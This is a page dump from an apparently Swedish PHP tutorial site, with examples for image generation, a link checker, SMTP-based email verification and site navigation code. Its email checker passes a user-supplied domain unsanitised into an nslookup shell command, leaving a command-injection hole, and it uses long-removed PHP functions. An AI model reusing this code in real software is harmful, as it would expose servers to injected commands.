$färg = imagecolorclosest( $image, 255, 255, 0 );
# tag den färg som pixeln längs ner till höger har
# den skall bli ramfärg
$ramfärg = imagecolorat( $image,
imagesx( $image )-1,
imagesy( $image )-1 );
# tag den färg som första pixeln har
# den skall bli transparent
$osynligfärg = imagecolorat( $image, 0, 0 );
# skriv in copyrighten
imagestring($image, 3, 10 , 9, $sträng, $färg);
# dra tre rektanglar med ramfärg
for( $i = 0; $i < 3; $i++ )
{
imagerectangle ( $image,
$i,
$i,
imagesx( $image ) - ( 1 * $i ),
imagesy( $image ) - ( 1 * $i ),
$ramfärg);
}
# sätt den transparenta färgen
imagecolortransparent( $image, $osynligfärg );
# sänd resultatet som png eftersom jpeg
#inte har transparens
header("Content-type: image/png");
# sänd datat
imagepng($image);
# töm minnet från bilden
imagedestroy($image);
}
else
{
# om inte så skapar vi en bild från scratch
# felmeddelande
$fel = "ERROR!";
# skapa bilden - låt den vara 200*200 pixels
$image = imagecreate(200,200);
# skapa två färger - en vit och en blå
$white = imagecolorallocate( $image, 255, 255, 255 );
$blue = imagecolorallocate( $image, 0, 0, 255 );
# fyll bilden med den blå färgen
imagefill( $image, 0, 0, $blue );
# beräkna mitten horisontellt - beakta textbredden
$px = imagesx( $image ) / 2 - strlen( $fel ) * imagefontwidth( 3 ) / 2;
# beräkna mitten vertikalt - beakta texthöjden
$py = imagesy( $image ) / 2 - imagefontheight( 3 ) / 2;
# skriv ut felmeddelandet i mitten av bilden
imagestring( $image, 3, $px, $py, $fel, $white );
# sätt rätt content-type för jpeg bilder
header("Content-type: image/jpeg");
# sänd bilden i jpeg format till browsern
imagejpeg( $image );
# färdig - förstör bilden igen
imagedestroy($image);
}
}
function checkExtension( $extension )
{
$all = get_loaded_extensions();
if ( in_array( $extension, $all ) )
{
return true; # fanns
}
else
{
if ( strtoupper( substr( PHP_OS, 0, 3 ) == "WIN" ) )
{
return dl("php_" . $extension . ".dll");
}
else
{
# jag tror detta kan funka men jag har inte
# tillgång till en Linux server med några
# extensions
return dl( "mod_" . $extension . ".so");
}
}
}
?>
Du får välja mellan de två olika uppgifterna ovan. Endast en behöver göras, men ingenting hindrar att du gör bägge.
En blog (förkortning av weblog) är en "dagbok på nätet". Den ursprungliga användningen var för programmeringsprojekt, där man behövde kunna skriva in en logg över vad som gjordes i ett projekt.
Nuförtiden används blogs för diverse olika ändamål.
Din uppgift är att skapa tekniken för en blog, vad som skrivs in den är oväsentligt.
Följande krav har jag på bloggen/koden:
Detta är ju en variant på gästbok. Skillnaden är att endast du skall kunna skriva in i din blog, medan alla skall kunna skriva in i en gästbok.
För att ändra så söker vi fram rätt rad i textfilen och sätter in texten i en form.
Ingenting hindrar att du använder helt separata sidor för läsning, skrivning, radering och ändring. Se dock till att lösenordsskydda de "farligare" sidorna.
Skapa ett system som baserar sig på följande grundidé:
Filen skall såldes innehålla fyra rader:
Systemet skall söka fram den mest aktuella filen, visa en form som baseras på denna fil samt se till att denna fil uppdateras när någon svarar.
Här kan du testa dina kunskaper.
Välj test i listan till vänster.
I denna sektion kommer jag att visa olika typer av PHP kod. Kom gärna med förslag på sådant du skulle vilja se i denna sektion...
Ett problem med länkar är att det är lite jobbigt att hålla reda på dessa. Funkar de, eller är de döda? Detta kan man avhjälpa med följande lilla program. Det används genom att sätta in det som src för en img tagg. Genom att sätta den som img så får vi dessutom den fördelen att sidans text laddas snabbt medan bilderna kommer efteråt. Sidan sker således asynkront. Först sätts länkarna ut och sedan visas en bild som säger om länken funkar eller inte.
<html>
<head>
<title>Links</title>
</head>
<body>
<img src="./inc/check_link.php?url=http://www.badadress.comm/">
<a href="http://www.badadress.comm/">
http://www.badadress.comm/
</a>
<br /><br />
<img src="./inc/check_link.php?url=http://www.microsoft.com/">
<a href="http://www.microsoft.com/">
http://www.microsoft.com/
</a>
<br /><br />
<img src="./inc/check_link.php?url=http://www.microsoft.com/feel.html">
<a href="http://www.microsoft.com/feel.html">
http://www.microsoft.com/feel.html
</a>
</body>
</html>
<?php
# OBS! sätt alltid / i slutet av URL om det inte anges ett filnamn
# om sidan är nyare än 7 dagar
$dagar = 7;
# måste räkna om till sekunder
$sekunder = $dagar * 60 * 60 * 24;
# se till att ni har fyra bilder och sätt
# korrekt path till dem. De skall vara
# lika stora och av typen jpeg, gif eller png
# de fyra bilderna behöver inte vara av samma typ
# bild för död server
$bilder[ 0 ] = "../images/dead.gif";
# bild för sida som inte finns
$bilder[ 1 ] = "../images/sad.gif";
# bild för allt ok
$bilder[ 2 ] = "../images/happy.gif";
# bild för allt ok och sida nyligen uppdaterad
$bilder[ 3 ] = "../images/happy_new.gif";
# ändra $_GET till $HTTP_GET_VARS om du har PHP 4.0.6
$url = $_GET[ "url" ] ;
# sök fram server och filnamnsdelen
preg_match( "/http:\/\/([^\/]*)\/(.*)/i", $url, $matches );
# kontakta servern
$timenow = time();
$datum = $timenow;
$vilkenbild = kontaktaServern( $matches, $datum );
# om php eller asp sidor inte sätter Last-modified så kan man
# egentligen inte kolla när de ändrats
if ( $vilkenbild == 2
&& $datum != $timenow
&& $datum + $sekunder >= $timenow )
$vilkenbild = 3;
# vi måste sätta rätt header innan vi sätter ut bildens data
$image_info = getimagesize( $bilder[ $vilkenbild ] );
switch( $image_info[ 2 ] )
{
case 1: # gif
Header( "Content-type: image/gif" );
break;
case 2: # jpeg
Header( "Content-type: image/jpeg" );
break;
case 3: # png
Header( "Content-type: image/x-png" );
break;
}
# öppna rätt bild som binary
$filen = fopen ( realpath( $bilder[ $vilkenbild ] ), "rb" );
# sänd allt till browsern
fpassthru( $filen );
# stäng filen
fclose( $filen );
# funktion för länkkontroll
# returnerar:
# 0 för död server
# 1 för sidan finns inte
# 2 för allt ok
function kontaktaServern( $data, &$datum )
{
$server = $data[ 1 ];
$file = "/" . @ $data[ 2 ];
$fp = @fsockopen (
$server,
80,
$errno,
$errstr,
10 # timeout efter 10 sekunder - ändra vid behov
);
if ( ! $fp )
{
# servern svarade inte
return 0;
}
else
{
# det räcker med att kolla HEAD
# resten av sidan är ointressant
$command = "HEAD $file ";
$command .= "HTTP/1.0\r\n";
$command .= "Host: $server\r\n\r\n";
fputs ( $fp, $command );
$row = fgets ( $fp, 4096 );
# kontrollerar bara 200
# man skulle även kunna kolla 301 och 302
# för att se om sidan flyttats
if ( ! ( strpos ( $row, "200" ) > 0 ) )
{
fclose ( $fp );
# sidan fanns inte
return 1;
}
while ( trim( $row ) != "" AND ( !feof( $fp ) ) )
{
$row = fgets ( $fp, 4096 );
if (strpos ( $row, ":" ) > 0 )
{
list( $header, $content ) = explode ( ":", $row );
if ( strcasecmp( trim( $header ), "Last-Modified" ) == 0 )
$datum = strtotime( $content ) ;
}
}
fclose ( $fp );
# allt ok
return 2;
}
}
?>
Last-modified sätts inte alltid om man har asp eller php sidor. Vill du
vara säker på att cache mm. hanteras rätt kan du sätta
följande i början av ditt php program för att se till att
Last-modified sätts till filens datum:
Nedan finns ett antal funktioner som tillsammans kan verifiera en mailadress genom att fråga av mailservern om adressen är korrekt. Går att använda som sådan, utan att du egentligen behöver förstå hur den funkar. Kul!
(Du kan även skriva in ?mail=mail.adress@som.skall.kollas i slutet av urladressen)<br />
<?
# detta är bara en testbädd för
# funktionen som kommer nedan
if (! isset($_REQUEST["mail"]) )
{
$testa[] = "anders@enges.org";
$testa[] = "nobody_at_all@puv.fi";
$testa[] = "nobody@xyz.ass.vdrs.fi";
foreach($testa as $mail)
{
if ( verifyMailAdress($mail, $error ) )
{
echo "<b>$mail</b> är OK<br>";
}
else
{
echo "<b>$mail</b> är fel: $error<br>" ;
}
}
}
else
{ $mail = $_REQUEST["mail"];
if ( verifyMailAdress($mail, $error ) )
{
echo "<b>$mail</b> är OK<br>";
}
else
{
echo "<b>$mail</b> är fel: $error<br>" ;
}
}
# om du tar nedanstående funktioner och sätter in in en
# fil som du sedan inkluderar så kan du använda
# verifyMailAdress( <adressen>, <variabel för eventuella felmeddelanden
# för att kunna *verkligen* validera en mailadress
function verifyMailAdress( $adress , &$error )
{
$server = $_SERVER["SERVER_NAME"];
list( $user, $domain ) = split( "@", $adress );
if ( checkdnsrr_compatible( $domain ) )
{
if ( !getmxrr_compatible( $domain, $mxhost, $mxweight ) )
{
$error = "Kunde inte hämta MX datat<br>";
return false;
}
}
else
{
$mxhost[] = $domain;
$mxweight[] = 1;
}
for( $i = 0; $i < count( $mxhost ); $i++ )
{
$weighted_hosts[( $mxweight[$i] )] = $mxhost[$i];
}
ksort( $weighted_hosts );
foreach( $weighted_hosts as $host )
{
if ( ! ($fp = @fsockopen( $host, 25 ) ) )
{
continue;
}
socket_set_blocking( $fp, TRUE );
$stop_time = time() + 10;
$gotResponse = false;
$line = fgets( $fp, 1024 );
if ( substr( $line, 0, 3 ) == "220" )
{
$stop_time = time() + 10;
$gotResponse = true;
}
while ( ! $gotResponse )
{
sleep(2);
$line = fgets( $fp, 1024 );
if ( substr( $line, 0, 3 ) == "220" )
{
$stop_time = time() + 10;
$gotResponse = true;
}
elseif ($line == "" AND ( $gotResponse ))
{
break;
}
elseif ( time() > $stop_time )
{
break;
}
}
if ( ! $gotResponse )
{
continue;
}
socket_set_blocking( $fp, TRUE );
fputs( $fp, "HELO $server\r\n" );
fgets( $fp, 1024 );
fputs( $fp, "MAIL FROM: <info@$domain>\r\n" );
fgets( $fp, 1024 );
fputs( $fp, "RCPT TO: <$adress>\r\n" );
$line = fgets( $fp, 1024 );
fputs( $fp, "QUIT\r\n" );
fclose( $fp);
if ( substr( $line , 0, 3 ) != "250" )
{
$error = $line;
return false;
}
else
{
return true;
}
}
$error = "Hittade inte mailservern";
return false;
}
function checkdnsrr_compatible( $host, $type = 'MX' )
{
if ( strtoupper( substr( PHP_OS, 0, 3 ) == "WIN" ) )
{
# checkdnserr finns inte i Windows
# måste göra en egen...
return checkdnsrr_NT( $host, $type);
}
else
{
# använd den inbyggda
return checkdnsrr( $host, $type );
}
}
function getmxrr_compatible( $domain, &$mxhost , &$mxweight )
{
if ( strtoupper( substr( PHP_OS, 0, 3 ) == "WIN" ) )
{
# checkdnserr finns inte i Windows
# måste göra en egen...
return getmxrr_NT( $domain, $mxhost , $mxweight );
}
else
{
# använd den inbyggda
return getmxrr( $domain, $mxhost , $mxweight );
}
}
function checkdnsrr_NT( $host, $type = 'MX' )
{
if( !empty( $host ) )
{
# Set Default Type:
@exec( "nslookup -type=$type $host", $output );
while( list( $k, $line ) = each( $output ) )
{
# Valid records begin with host name:
if( preg_match( "/^$host/i", $line ) )
{
# record found:
return true;
}
}
return false;
}
}
function getmxrr_NT( $hostname, &$mxhosts, &$weight )
{
$match = "/^$hostname\sMX\s";
$match .= "preference\s=\s([0-9]+),";
$match .= "\s*mail\s*exchanger\s*=\s*(.*)$/i";
if( !is_array( $mxhosts ) ) $mxhosts = array();
if( !empty( $hostname ) )
{
@exec( "nslookup -type=MX $hostname", $output, $ret );
foreach( $output as $line )
{
# Valid records begin with hostname:
if( preg_match( $match, $line, $parts ) )
{
$mxhosts[ $parts[1] ] = $parts[2];
}
}
if( count( $mxhosts ) )
{
reset( $mxhosts );
ksort( $mxhosts );
$i = 0;
while( list( $pref, $host ) = each( $mxhosts ) )
{
$mxhosts2[$i] = $host;
$weight[$i] = $pref;
$i++;
}
$mxhosts = $mxhosts2;
return true;
}
else
{
return false;
}
}
}
?>
Man kan skapa bilder helt programmässingt
i PHP. Detta förutsätter att gd extensionen
är tillgänglig, antingen statiskt eller dynamiskt. Nedan är
ett litet programexempel på en knappkonstruerare i PHP. Se mera
i PHP-dokumentationen i image
<?php
# har du inte PHP 4.1.0 eller nyare måste du byta ut
# $_REQUEST till $HTTP_GET_VARS
# och $_SERVER till $HTTP_SERVER_VARS
# för att få koden att fungera
# du bör även ha tillgång till gd extensionen till PHP
# kolla om gd extensionen finns tillgänglig
# egendefinierad funktion längre ner i koden
if ( checkExtension( "gd" ) )
{
# kom det bredd i url ?
# om inte sätt 100
$width = isSet( $_REQUEST[ "width" ] ) ? $_REQUEST[ "width" ] : 100;
# typ av bild - default jpeg
# png och wbmp tillåtna
$type = isSet( $_REQUEST[ "type" ] ) ? $_REQUEST[ "type" ] : "jpeg";
# höjden - default 30
$height = isset( $_REQUEST[ "height" ] ) ? $_REQUEST[ "height" ] : 30;
# texten - default "Knapp"
$label = isSet( $_REQUEST[ "label" ] ) ? $_REQUEST[ "label" ] : "Knapp";
# typsnitt siffra 0 - 5 - default 5
$font = isSet( $_REQUEST[ "font" ] ) ? $_REQUEST[ "font" ] : 5;
# man skulle även kunna ta färgkoderna från URL
# skapa bilden med bredd o. höjd
$image = imageCreate( $width, $height );
# bakgrundfärg
# har äntligen börjat lära mig Hexkoderna så jag använder
# helst dem. Egendefinierad funktion
$bgcolor = htmlColor( $image, "#1E90FF" );
# högdager färg
$lightcolor = htmlColor( $image, "#00BFFF" );
# skuggfärg
$darkcolor = htmlColor( $image, "#000080" );
# textfärg
$textcolor = htmlcolor( $image, "#FFFFFF" );
# fyll bakgrundfärgen
# prametrar:
# bilden, x , y, bredd, höjd, färg
imageFilledRectangle( $image, 1, 1, $width - 2, $height - 2, $bgcolor );
# rita övre strecket
imageLine( $image, 0, 0, $width - 1, 0, $lightcolor );
# rita vänstra strecket
imageLine( $image, 0, 0, 0, $height, $lightcolor );
# rita nedre skuggan
imageLine( $image, 0, $height - 1, $width - 1, $height - 1, $darkcolor );
# rita högra skuggan
imageLine( $image, $width - 1, 1, $width - 1, $height - 1, $darkcolor );
# räkna ut bredden på texten
$labelwidth = imagefontwidth( $font ) * strlen( $label );
# räkna ut höjden på texten
$labelheight = imagefontheight( $font );
# kalkylera x och y för texten
$labely = ( $height - $labelheight ) / 2;
$labelx = ( $width - $labelwidth ) / 2;
# rita skuggan först
# lite neråt och till höger
imageString( $image, $font, $labelx + 1, $labely + 1, $label, $darkcolor );
# och sedan texten
imageString( $image, $font, $labelx, $labely, $label, $textcolor );
# har användaren en MAc så kan vi ändra på färgerna lite
# för att få rätt färger
if ( strpos( strtolower( $_SERVER["HTTP_USER_AGENT"] ), "mac" ) )
{
@ imageGammaCorrect($image, 2.2, 1.571 );
}
if ( $type == "png" )
{
header("Content-type: image/x-png" );
imagePng( $image );
}
elseif ( $type == "wbmp" )
{
header("Content-type: image/vnd.wap.wbmp" );
imageWbmp( $image );
}
else
{
header("Content-type: image/jpeg" );
imageJpeg( $image );
}
}
function htmlColor( $image, $color )
{
# plockar ut de enskilda färgerna med en regexp
$color_regexp = "/^#?(\w{2})(\w{2})(\w{2})$/";
if ( preg_match( $color_regexp, $color, $rgb )
&&
count( $rgb ) == 4 )
{
# syntax:
# imagecolorallocate ( bild, röd, grön, blå )
# returnerar en integer för färg
return imageColorAllocate( $image,
hexDec( $rgb[ 1 ] ),
hexDec( $rgb[ 2 ] ),
hexDec( $rgb[ 3 ] ) );
}
else
{
return 0; # svart
}
}
# funktion som kontrollerar om en extension finns
# Finns den inte försöker vi ladda den dynamiskt
# all bidbearbetning förutsätter "gd" extensions som i
# Windows finns i "php_gd.dll" filen
# se till att "extension_dir" är korrekt i
# php.ini filen
function checkExtension( $extension )
{
$all = get_loaded_extensions();
if ( in_array( $extension, $all ) )
{
return true; # fanns
}
else
{
if ( strtoupper( substr( PHP_OS, 0, 3 ) == "WIN" ) )
{
return dl("php_" . $extension . ".dll");
}
else
{
# jag tror detta kan funka men jag har inte
# tillgång till en Linux server med några
# extensions
return dl( "mod_" . $extension . ".so");
}
}
}
?>
Användning av koden
<img src="./samples/s95.php"><br>
<img
src="./samples/s95.php?width=140&label=Anders&font=2"
><br>
<img src="./samples/s95.php?label=Knäppa"><br>
<img src="./samples/s95.php?label=Knappar&type=png"><br>
<img src="./samples/s95.php?label=Knappar&font=3"><br>
Nr![]() | Rubrik![]() | Filnamn![]() | Ändrad![]() | ||||
1 | 1 Börja här | index.php | 08.11.04 10:35 | ||||
2 | 1.0.1 Installation | default2.php | 22.10.04 09:50 | ||||
3 | 1.0.2 PHP versionerna | security.php | 22.10.04 09:47 | ||||
4 | 1.0.3 Kodformatering | koden.php | 22.10.04 09:47 | ||||
5 | 1.1 Allmänt | syntax.php | 22.10.04 09:47 | ||||
6 | 1.2 Operander | operander.php | 22.10.04 09:47 | ||||
7 | 1.2.1 Tilldelning | tilldelning.php | 22.10.04 09:47 | ||||
8 | 1.2.2 Logiska operander | loperander.php | 22.10.04 09:47 | ||||
9 | 1.2.3 Specialare | soperander.php | 22.10.04 09:47 | ||||
10 | 1.2.4 HERE docs | here.php | 22.10.04 09:51 | ||||
11 | 1.3 Kontrollsatser | styrsatser.php | 22.10.04 09:47 | ||||
12 | 1.3.1 Loopar | loopar.php | 22.10.04 09:47 | ||||
13 | 1.3.2 Felhantering | fel.php | 22.10.04 09:50 | ||||
14 | 1.4 Variabler | variabler.php | 22.10.04 09:47 | ||||
15 | 1.4.1 Räckvidd | scope.php | 22.10.04 09:47 | ||||
16 | 1.4.2 Kontroll | isset.php | 22.10.04 09:47 | ||||
17 | 1.4.3 Konstanter | konstanter.php | 22.10.04 09:47 | ||||
18 | 1.5 Funktioner | funktioner.php | 22.10.04 09:51 | ||||
19 | 1.5.1 Referens parametrar | funktioner_ref.php | 22.10.04 09:51 | ||||
20 | 1.5.2 Dynamiska funktioner | dynamiska.php | 22.10.04 09:50 | ||||
21 | 1.6 Arrays | arrays.php | 22.10.04 09:50 | ||||
22 | 1.6.1 Endimensionella | arrays_single.php | 22.10.04 09:50 | ||||
23 | 1.6.2 Flerdimensionella | arrays_multi.php | 22.10.04 09:50 | ||||
24 | 1.7 PHP variabler | globals.php | 22.10.04 09:51 | ||||
25 | 1.7.1 _SERVER | _server.php | 22.10.04 09:50 | ||||
26 | 1.7.2 _COOKIE | _cookie.php | 22.10.04 09:50 | ||||
27 | 1.7.3 _GET | _get.php | 22.10.04 09:50 | ||||
28 | 1.7.4 _POST | _post.php | 22.10.04 09:50 | ||||
29 | 1.7.5 _SESSION | _session.php | 22.10.04 09:50 | ||||
30 | 1.7.6 _ENV | _env.php | 22.10.04 09:50 | ||||
31 | 1.7.7 _REQUEST | _request.php | 22.10.04 09:50 | ||||
32 | 1.8 Formar | forms.php | 22.10.04 09:51 | ||||
33 | 1.8.1 Form | input_type.php | 22.10.04 09:47 | ||||
34 | 1.8.2 Textbox | input.php | 22.10.04 09:51 | ||||
35 | 1.8.3 Checkbox och radio | input_cr.php | 22.10.04 09:48 | ||||
36 | 1.8.4 List och combo | input_list.php | 22.10.04 09:48 | ||||
37 | 1.8.5 Knappar | input_knapp.php | 22.10.04 09:48 | ||||
38 | 1.8.6 Hidden | input_hidden.php | 22.10.04 09:48 | ||||
39 | 1.9 Strängar | strings.php | 22.10.04 09:47 | ||||
40 | 1.9.1 Vanliga | strings_van.php | 22.10.04 09:47 | ||||
41 | 1.9.2 HTML inriktade | strings_conv.php | 22.10.04 09:47 | ||||
42 | 1.9.3 Regexp | strings_reg.php | 22.10.04 09:47 | ||||
43 | 1.9.4 Regexp i PHP | strings_reg_ex.php | 22.10.04 09:47 | ||||
44 | 1.9.5 Övriga | strings_more.php | 22.10.04 09:47 | ||||
45 | 1.10 Nummer | nummer.php | 22.10.04 09:47 | ||||
46 | 1.10.1 Avrundning | nkonvert.php | 22.10.04 09:47 | ||||
47 | 1.10.2 Formatering | nformat.php | 22.10.04 09:47 | ||||
48 | 1.10.3 Slumptal | slumptal.php | 22.10.04 09:47 | ||||
49 | 1.10.4 Stora tal | stora.php | 22.10.04 09:47 | ||||
50 | 1.11 Datum | datum.php | 22.10.04 09:50 | ||||
51 | 1.12 Arrays | array.php | 22.10.04 09:50 | ||||
52 | 1.12.1 Allmänt | array_cc.php | 22.10.04 09:50 | ||||
53 | 1.12.2 Manipulationer | array_man.php | 22.10.04 09:50 | ||||
54 | 1.12.3 Sorteringar | array_sort.php | 22.10.04 09:50 | ||||
55 | 1.12.4 Stackar och köer | array_sq.php | 22.10.04 09:50 | ||||
56 | 1.12.5 Strängar | array_str.php | 22.10.04 09:50 | ||||
57 | 1.13 PHP Filer | filer.php | 22.10.04 09:51 | ||||
58 | 1.13.1 Programfiler | filer_php.php | 22.10.04 09:51 | ||||
59 | 1.13.2 Övriga funktioner | filer_php2.php | 22.10.04 09:51 | ||||
60 | 1.14 Filhantering | filerna.php | 22.10.04 09:51 | ||||
61 | 1.14.1 Kataloger | filerna_kat.php | 22.10.04 09:51 | ||||
62 | 1.14.2 Filer | filerna_fil.php | 22.10.04 09:51 | ||||
63 | 1.14.3 Filmanipulation | filerna_fil2.php | 22.10.04 09:51 | ||||
64 | 1.14.4 Läsning | filerna_fil3.php | 22.10.04 09:51 | ||||
65 | 1.14.5 Skrivning | filerna_fil4.php | 22.10.04 09:51 | ||||
66 | 1.14.6 HTML | filerna_fil5.php | 22.10.04 09:51 | ||||
67 | 1.15 Nätverk | network.php | 22.10.04 09:47 | ||||
68 | 1.15.1 Elpost | mail.php | 22.10.04 09:47 | ||||
69 | 1.15.2 Internet | inter.php | 22.10.04 09:47 | ||||
70 | 1.16 Autenticering | aut.php | 22.10.04 09:50 | ||||
71 | 1.17 Upload | upload1.php | 22.10.04 09:47 | ||||
72 | 1.18 Thumbnails | tumbnail.php | 22.11.04 13:05 | ||||
73 | 1.19 Introduktion | klass1.php | 22.10.04 09:47 | ||||
74 | 1.19.1 Ett exempel på klass | kex1.php | 22.10.04 09:47 | ||||
75 | 2 Uppgifter | ovn1.php | 22.10.04 09:47 | ||||
76 | 2.1 Uppgift 1 | l1.php | 22.10.04 09:47 | ||||
77 | 2.2 Uppgift 1.5 | ep1.php | 22.10.04 09:50 | ||||
78 | 2.3 Uppgift 2 | l2.php | 22.10.04 09:47 | ||||
79 | 2.3.1 1 | l3.php | 22.10.04 09:47 | ||||
80 | 2.3.2 2 | l4.php | 22.10.04 09:47 | ||||
81 | 2.3.3 3 | l5.php | 22.10.04 09:47 | ||||
82 | 2.3.4 4 | l6.php | 22.10.04 09:47 | ||||
83 | 2.3.5 5 | l7.php | 22.10.04 09:47 | ||||
84 | 2.3.6 6 | l8.php | 22.10.04 09:47 | ||||
85 | 2.3.7 7 | l9.php | 22.10.04 09:47 | ||||
86 | 2.3.8 8 | l10.php | 22.10.04 09:47 | ||||
87 | 2.3.9 9 | l11.php | 22.10.04 09:47 | ||||
88 | 2.3.10 Din uppgift | l12.php | 22.10.04 09:47 | ||||
89 | 2.4 Uppgift 3 | l14.php | 22.10.04 09:47 | ||||
90 | 2.5 Uppgift 4 | file_del1.php | 22.10.04 09:51 | ||||
91 | 2.6 Uppgift 5 | slide1.php | 22.10.04 09:47 | ||||
92 | 2.6.1 Din uppgift | slide3.php | 22.10.04 09:47 | ||||
93 | 2.6.2 Extra uppgift | slide2.php | 22.10.04 09:47 | ||||
94 | 2.7 Uppgift 6 | uppg6a.php | 22.10.04 09:47 | ||||
95 | 2.7.1 Blog | uppg6b.php | 22.10.04 09:47 | ||||
96 | 2.7.2 Röstning | uppg6c.php | 22.10.04 09:47 | ||||
97 | 2.7.3 Din uppgift | din2.php | 22.10.04 09:50 | ||||
98 | 3 Testa dig själv | quiz_h.php | 22.10.04 09:47 | ||||
99 | 3.1 Allmänna frågor | quiz.php | 22.10.04 09:47 | ||||
100 | 4 Tips | typex_1.php | 22.10.04 09:47 | ||||
101 | 4.1 Länkar | link_tips.php | 22.10.04 09:47 | ||||
102 | 4.2 Email | mail_check.php | 22.10.04 09:47 | ||||
103 | 4.3 Bilder | bilder.php | 22.10.04 09:50 | ||||
104 | 5 Sidokarta mm. | sitemap.php | 22.10.04 09:47 | ||||
105 | 5.1 Nyckelord | keywords.php | 22.10.04 09:47 | ||||
106 | 5.2 Källkoder | sources.php | 22.10.04 09:47 | ||||
107 | 5.2.1 links.php | sources1.php | 22.10.04 09:47 | ||||
108 | 5.2.2 compat.php | sources2.php | 22.10.04 09:47 | ||||
109 | 5.2.3 settings.php | sources3.php | 22.10.04 09:47 | ||||
110 | 5.2.4 source.php | sources5.php | 22.10.04 09:47 | ||||
111 | 5.2.5 main.txt | sources6.php | 22.10.04 09:47 | ||||
112 | 5.2.6 Typisk sida | sources7.php | 22.10.04 09:47 | ||||
113 | 5.3 Skriv ut | down.php | 22.10.04 09:50 | ||||
114 | 6 Länkar | links.php | 22.10.04 09:47 | ||||
115 | 7 Sök | seek.php | 22.10.04 09:47 | ||||
Antal filer: 115 |
(Mest för att det gick att göra på ett enkelt sätt...)
Inte för att jag tror nån bryr sig, men här finns alla programfiler som styr hela sajten. Det mesta cirklar kring en (alldeles för) stor klass, som sköter det mesta.
Jag sätter mest ut dessa så jag kan kolla vad jag har gjort.
Jag använder rätt ofta Internet som en luntlapp åt mig
själv...
Ifall jag glömmer bort hur jag gjort saker och ting så är
det väl bra att ha det på nätet.
Denna fil hanterar navigeringen och nästan allt annat i denna site.
<?php
# Skulle gärna få vara rock'n'roll men är väl mest quick'n'dirty
# Skit samma, den fungerar... Mångfald är bättre än enfald.
include_once( dirname( __FILE__ ) . "/compat.php" );
include_once( dirname( __FILE__ ) . "/settings.php" );
@ set_time_limit ( 120 );
# klassen för (nästan) allt
class linkList
{
var $fcontents; # styrfilens innehåll i en array
var $fname; # länkfilens namn
var $thisfile; # nuvarande fils namn
var $currInd ; # nuvarande index
var $nextInd ; # nästa rads index
var $prevInd ; # föregående rads index
var $count ; # antal rader
# var $fn;
var $lastCurrInd1;
var $lastCurrInd2;
var $lastCurrInd3;
var $lastCurrInd4;
var $lastCurrInd5;
var $lastCurrInd1Count;
var $lastCurrInd2Count;
var $lastCurrInd3Count;
var $currLev;
var $bgrnd ;
# constructor
# Indata:
# $linkFile - namnet på styrfilen
function linkList( $linkFile )
{
$this->fname = $linkFile;
$this->thisfile = _ServerData( "PHP_SELF" );
# läser in hela styrfilen i en array
$this->fcontents = file ( $linkFile );
$this->currInd = $this->GetListIndex ( ) ;
$this->count = $this->GetListCount( ) - 1;
$this->nextInd = $this->currInd == $this->count ?
1 :
$this->currInd + 1 ;
if ( trim( $this->GetNthURL( $this->nextInd ) ) == "" )
{
$this->nextInd = $this->nextInd == $this->count ?
1 :
$this->nextInd + 1 ;
}
$this->prevInd = $this->currInd == 1 ?
$this->count :
$this->currInd - 1 ;
if ( trim( $this->GetNthURL( $this->prevInd ) ) == "" )
{
$this->prevInd = $this->prevInd == 1 ?
$this->count :
$this->prevInd - 1 ;
}
$this->CheckAllLevels( );
}
# vilken fil i ordningen är nu aktuell
function GetListIndex( )
{
$retval = 0;
$curr = basename( $this->thisfile );
while ( list ( $line_num, $line ) = each ( $this->fcontents ) )
{
if ( trim( strtolower( substr( $line, 0, strpos( $line, "\t" ) ) ) )
== $curr )
{
$retval = $line_num + 1;
break;
}
}
reset( $this->fcontents );
return $retval;
}
function GetNthUrl( $rowNo )
{
if ( $rowNo <= count( $this->fcontents ) && $rowNo > 0 )
{
$theValue = $this->fcontents[ $rowNo -1 ];
return trim( substr( $theValue, 0, strpos( $theValue, "\t" ) ) );
}
else
{
return "N/A";
}
}
function GetNthDescription( $rowNo )
{
if ( $rowNo <= count( $this->fcontents ) && $rowNo > 0 )
{
$theValue = $this->fcontents[ $rowNo -1 ];
return htmlentities( substr( $theValue, strpos( $theValue, "\t" ) ) );
}
else
{
return "N/A";
}
}
function GetNthDescriptionRaw( $rowNo )
{
if ( $rowNo <= count( $this->fcontents ) && $rowNo > 0 )
{
$theValue = $this->fcontents[ $rowNo -1 ];
return substr( $theValue, strpos( $theValue, "\t" ) );
}
else
{
return "N/A";
}
}
function GetCurUrl( )
{
$theValue = $this->fcontents[ $this->currInd -1 ];
return trim( substr( $theValue, 0, strpos( $theValue, "\t" ) ) );
}
function GetNextUrl( )
{
$theValue = $this->fcontents[ $this->nextInd ];
return trim( substr( $theValue, 0, strpos( $theValue, "\t" ) ) );
}
function GetPrevUrl( )
{
$theValue = $this->fcontents[ $this->prevInd ];
return trim( substr( $theValue, 0, strpos( $theValue, "\t" ) ) );
}
function GetCurDescription( )
{
$theValue = $this->fcontents[ $this->currInd ];
return htmlentities( substr( $theValue, strpos( $theValue, "\t" ) ) );
}
function GetNextDescription( )
{
$theValue = $this->fcontents[ $this->nextInd ];
return htmlentities( substr( $theValue, strpos( $theValue, "\t" ) ) );
}
function GetPrevDescription( )
{
$theValue = $this->fcontents[ $this->prevInd ];
return htmlentities( substr( $theValue, strpos( $theValue, "\t" ) ) );
}
function GetListCount( )
{
return count( $this->fcontents ) + 1;
}
function autoNum( $rowNo )
{
if( $this->currLev == 1 )
{
return $this->lastCurrInd1Count;
}
elseif( $this->currLev == 2 )
{
return $this->lastCurrInd1Count .
"." .
($this->lastCurrInd2Count);
}
elseif( $this->currLev == 3 )
{
return $this->lastCurrInd1Count .
"." .
($this->lastCurrInd2Count) .
"." .
($this->lastCurrInd3Count) ;
}
}
function theTitleAutoNum( $rowNo )
{
return $this->autoNum( $rowNo ) . " " . $this->theTitle( $rowNo );
}
function theTitle( $rowNo )
{
$description = $this->GetNthDescription( $rowNo );
$MyArray = split( '[|]', $description );
if ( count( $MyArray ) > 2 )
{
return trim( $MyArray[ 2 ] );
}
else
{
return $this->theText( $rowNo );
}
}
function theText( $rowNo )
{
$description = $this->GetNthDescription( $rowNo );
$MyArray = split( '[|]', $description );
if ( count( $MyArray) > 1 )
{
return trim( $MyArray[ 1 ] );
}
else
{
return "";
}
}
function theTextAutoNum( $rowNo )
{
static $c1, $c2, $c3;
if( $this->theLevel( $rowNo ) == 1 )
{
$c2 = 0;
$c3 = 0;
return ++$c1 . " " . $this->theText( $rowNo ) ;
}
if( $this->theLevel( $rowNo ) == 2 )
{
$c3 = 0;
return $c1 . "." . ++$c2 . " " . $this->theText( $rowNo ) ;
}
